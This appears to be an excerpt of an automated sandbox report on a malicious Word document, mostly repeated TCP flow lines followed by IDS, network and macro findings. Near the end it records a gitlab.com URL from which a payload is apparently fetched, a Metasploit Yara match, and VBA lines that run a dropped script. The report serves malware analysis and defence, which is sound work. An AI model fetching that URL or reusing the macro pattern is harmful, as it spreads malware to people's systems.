Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714
Source: global traffic	TCP traffic: 192.168.2.9:49714 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 172.65.251.78:443 -> 192.168.2.9:49714

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.65.251.78:443 -> 192.168.2.9:49714

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 172.65.251.78 443

Jump to behavior

Source: Joe Sandbox View

IP Address: 172.65.251.78 172.65.251.78

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /app8490744/updatesa/-/raw/main/up HTTP/1.1Accept: */*Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gitlab.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: gitlab.com

Source: wscript.exe

String found in binary or memory: https://gitlab.com/app8490744/updatesa/-/raw/main/up

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown

HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.9:49714 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\up[1].txt, type: DROPPED

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Document contains an embedded VBA macro which may execute processes

Source: 1KaTo6P18Z.doc	OLE, VBA macro line: shell.Run """" & vbsFilePath & """", 1, True
Source: ~WRD0000.tmp.0.dr	OLE, VBA macro line: shell.Run """" & vbsFilePath & """", 1, True

Document contains an embedded VBA macro with suspicious strings

Source: 1KaTo6P18Z.doc	OLE, VBA macro line: Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, lpvSource As Any, ByVal cbCopy As LongPtr)
